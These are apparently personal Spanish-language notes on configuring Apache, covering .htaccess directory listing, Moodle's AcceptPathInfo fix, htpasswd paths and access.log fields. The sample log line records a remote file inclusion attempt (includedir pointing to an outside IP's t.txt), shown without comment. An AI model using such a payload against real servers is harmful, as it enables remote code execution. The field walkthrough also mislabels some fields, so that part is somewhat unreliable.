Como se configura: archivos de configuración.
Bueno, en realidad hay ciertas cosas tan buenas que funcionan solas. Apache es una de esas cosas, sin embargo, tiene una flexibilidad y una capacidad de configuración impresionantes. He aquí algunos apuntes que puede ayudar:

Para terminarlo,
en windows: apache -k shutdown

Para restringir el listado de directorios del sitio WEB
1. En el archivo httpd.conf
En la sección donde se configura al document root,
<Directory "/var/www/html">
AllowOverride Options FileInfo

Options nos permite definir nuestras propias options en los .htacces y FileInfo nos permite otras, tal como
ErrorDocument.

Ej de .htaccess colocado en el el root document:
/var/www/html:
Options -Indexes
ErrorDocument 403 "No tiene acceso al listado del dir."

Luego en los directorios que nos interese mostrar lo habilitamos con un .htaccess:
Options +Indexes

Uploaded files give "File not found"
Explicacion que dio la solucion para un problema en moodle que no permitia bajar o abrir archivos cuando la ruta era algo como dd.php/rrr/rrrr

Tomado de:
http://docs.moodle.org/en/Installation_FAQ

For example: Not Found: The requested URL /moodle/file.php/2/myfile.jpg was not found on this server.

Your web server needs to be configured to allow the part of the URL after a script name to be passed directly to the script. This is usually enabled in Apache 1, but is usually disabled by default in Apache 2. To turn it on, add this line to your httpd.conf, or to a .htaccess file in your local directory (see Installing Moodle for more
details):

    AcceptPathInfo on

Note, this will ONLY work for Apache versions 2.x.

If you are not using Apache 2 and you still have this problem (unlikely) then you can switch Moodle to use an alternative method.
The disadvantages are a slight loss of performance for your users and you won't be able to use relative links within HTML resources.

To use this alternative method, you should change the slasharguments variable in the Operating System section of Administration >> Configuration >> Variables. You should now be able to access your uploaded files.

Si no funciona htpasswd con .htacces para proteger un directorio, verificar que en el .htaccess este especificado la ruta al archivo htpasswd en forma de ruta ABSOLUTA.

Ejemplo:
AuthName      Apache
AuthType      Basic
AuthUserFile /var/www/html/edap/HTML/Docente/.htpasswd
Require       valid-user

Línea estándar del access.log (puede configurarse distinto)
1- IP del cliente

2- identidad RFC 1413 del cliente determinada por identd en la máquina del cliente. Esta información es muy poco fiable

3- identificador de usuario de la persona que solicita el documento determinado por la autentificación HTTP. Normalmente ese mismo valor se pasa a los scripts CGI con la variable de entorno REMOTE_USER.

4- Fecha y hora en la que el servidor recibió la petición

5- La línea de la petición del cliente se muestra entre dobles comillas.

6- Es el código de estado que el servidor envía de vuelta al cliente. Esta información es muy valiosa, porque revela si la petición fue respondida con éxito por el servidor (los códigos que empiezan por 2), una redirección (los códigos que empiezan por 3), un error provocado por el cliente (los códigos que empiezan por 4), o un error en el servidor (los códigos que empiezan por 5).

7- indica el tamaño del objeto retornado por el cliente, no incluídas las cabeceras de respuesta.

Ejemplo:
124.2.153.253 - - [12/May/2007:06:58:28 -0500] "GET /kalendar/tools/send_reminde
rs.php?includedir=http://69.93.87.223/t.txt? HTTP/1.1" 404 351 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows 98)"

1- ipcliente:124.2.153.253

2- Nada

3- Nada

4- Fecha solicitud: [12/May/2007:06:58:28 -0500]

5- Línea de petición del cliente:
"GET /kalendar/tools/send_reminders.php?includedir=http://69.93.87.223/t.txt? HTTP/1.1"

6. Código que el servidor envía al cliente:
   404 351 en este caso es indica que hubo un error causado por el cliente.

7. El tipo de navegador del cliente y su sistema operativo

Configuring and Using Virtual Hosts in Apache
Recomiendo el siguiente artículo en http://www.devshed.com/c/a/Apache/Configuring-and-Using-Virtual-Hosts-in-Apache/
(DevSource)

Espero que algunas de los programas, documentación y enlaces que encuentre aquí puedan serle útiles.